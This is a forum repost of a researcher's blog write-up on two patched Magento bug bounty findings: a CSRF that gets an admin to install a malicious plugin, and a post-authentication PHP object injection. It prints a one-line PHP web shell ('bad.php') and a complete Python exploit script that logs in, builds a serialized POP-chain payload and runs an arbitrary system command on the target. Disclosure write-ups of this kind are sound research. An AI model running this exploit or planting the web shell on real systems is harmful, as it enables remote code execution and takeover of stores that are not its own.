Jump to content
Nytro

CSRF to code execution and Post-auth RCE via object injecti

Recommended Posts

Posted

[h=3]Magento Bug Bounty 1 & 2: CSRF to code execution and Post-auth RCE via object injection[/h]After months of procrastination and tons of words of encouragement from a good friend to start this blog I've decided to do so finally and open up with a couple of bug bounties I've been awarded with recently. I was shooting for the top bounties for Magento and landed pretty close to my goal.

Bounty #1: CSRF:

My initial thought was to check out some of less explored areas of Magento that seemed interesting. Namely, the /downloader/ page which is used to by admins to upload plugins to the Magento store either from a local package or remotely from the Magento Connect marketplace. Upon logging in I attempted to change a few settings and immediately noticed there was no CSRF tokens on any of the requests.

I thought of the obvious issue, CSRF an admin and upload a malicious module but there were a couple problems that prevented this.

Problem 1:

I had no idea what the directory and file structure was like for the MagentoConnect website and googling around didn't lead to much.

Solution: Wireshark solves a lot of problems. While running a local copy I just had to find the requests being sent from my server, grab each config file being read, and mimic them on my attackers server.

wire.png

After a bit of back and forth I had managed to properly emulate the community plugin pages layout on my attacker server and create a valid malicious payload.

files.png

bad.php: <?php system($_GET[cmd]); ?>

Problem 2:

The process requires multiple POST requests to install from a URL

In order for a plugin to be installed from a URL the admin needed to click "install" after the URL was entered and then "proceed" which was sent in 2 POST requests.

2step2.png

XHR would have made this a non-issue but there was no CORS header being sent allowing this. We could have used the method described in this awesome blog post but because the "X-Frame-Options" was set to "SAMEORIGIN" it would not have worked.

NOTE: As pointed out in the comments by Mr. James Kettle this attack would actually still work even with the X-Frame-Option.

However, upon closer inspection the "A=" parameter seems to change when the install actually takes place.

2step.png

If we just adjust our PoC CSRF to POST to that URL instead it seems like we'd be able to install our payload with a single click from an admin.

magpwnn.png

And it worked!

The bounty awarded for this bug was $9000.

Timeline:

11/17/2014 - Bug reported via the Ebay Inc. Bug Bounty portal

02/??/2015 - Report was closed

02/10/2015 - Created another bug report via the Ebay Inc. Bug Bounty portal

02/10/2015 - Request for more info by Ebay

02/23/2015 - Request for assistance with setting up PoC page

03/04/2015 - More back forth with the engineer

04/03/2015 - Initial payment received

06/03/2015 - Final payment received

07/07/2015 - Patch is pushed

Bounty #2 PHP Object injection:

You may or may not have seen this one posted before by a much more skilled researcher and writer named Johannes Dahse, the author of the popular PHP source code analysis tool RIPS. If you have not I highly suggest reading his writeup here instead as it'll be an actual explanation with more content. I likely only reported the bug a few days earlier so kudos to him.

The bounty awarded for this issue was $2500.

Timeline:

11/21/2014 - Bug reported via the Ebay Inc. Bug Bounty portal

11/24/2014 - Patched silently in 1.9.1.0

12/18/2014 - Final payment received

PoC sent to PayPal:

#!/usr/bin/python

# Magento PoC for post auth php object injection
# pip install mechanize || easy_install mechanize
# Author: @Ebrietas0 || http://ebrietas0.blogspot.com
import sys
import re
import base64
from hashlib import md5

import mechanize


def usage():
print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
sys.exit()


if len(sys.argv) != 3:
usage()

# Command-line args
target = sys.argv[1]
arg = sys.argv[2]

# Config.
username = ''
password = ''
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
'\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \
'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \
'_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)

request = br.open(target)

br.select_form(nr=0)
br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password

br.method = "POST"
request = br.submit()
content = request.read()

url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)

request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)

payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh

try:
request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
print e.read()

Posted by Ebrietas

Sursa: http://ebrietas0.blogspot.ro/2015/08/magento-bug-bounty-1-2-csrf-to-code.html

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...